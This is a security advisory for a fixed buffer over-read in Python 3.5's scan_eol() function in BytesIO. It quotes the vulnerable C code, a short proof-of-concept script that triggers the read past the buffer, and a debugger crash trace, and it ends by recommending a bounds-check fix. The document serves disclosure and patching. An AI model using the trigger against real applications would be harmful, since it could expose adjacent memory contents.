Python 3.5 scan_eol() Buffer Over-Read

`Title: Python 3.5 scan_eol() Buffer Over-read  
Credit: John Leitch ([email protected]), Bryce Darling ([email protected])  
Url1: http://autosectools.com/Page/Python-scan_eol-Buffer-Over-read  
Url2: http://bugs.python.org/issue24989  
Resolution: Fixed  
  
Python 3.5 suffers from a vulnerability caused by the behavior of the scan_eol() function. When called, the function gets a line from the buffer of a BytesIO object by searching for a newline character starting at the position in the buffer.  
  
However, if the position is set to a value that is larger than the buffer, this logic will result in a call to memchr that reads off the end of the buffer:  
  
/* Move to the end of the line, up to the end of the string, s. */  
start = PyBytes_AS_STRING(self->buf) + self->pos;  
maxlen = self->string_size - self->pos;  
if (len < 0 || len > maxlen)  
len = maxlen;  
  
if (len) {  
n = memchr(start, '\n', len);  
  
In some applications, it may be possible to exploit this behavior to disclose the contents of adjacent memory. The buffer over-read can be observed by running the following script:  
  
import tempfile  
a = tempfile.SpooledTemporaryFile()  
a.seek(0b1)  
a.readlines()  
  
Which, depending on the arrangement of memory, may produce an exception such as this:  
  
0:000> g  
(698.188): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=fff8a14c ebx=0a0a0a0a ecx=00000000 edx=05bb1000 esi=061211b0 edi=89090909  
eip=61c6caf2 esp=010af8dc ebp=010af914 iopl=0 nv up ei ng nz ac po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010292  
python35!memchr+0x62:  
61c6caf2 8b0a mov ecx,dword ptr [edx] ds:002b:05bb1000=????????  
0:000> k1  
ChildEBP RetAddr   
010af8e0 61b640f1 python35!memchr+0x62 [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memchr.asm @ 125]  
  
To fix this issue, it is recommended that scan_eol() be updated to check that the position is not greater than or equal to the size of the buffer. A proposed patch is attached.  
  
`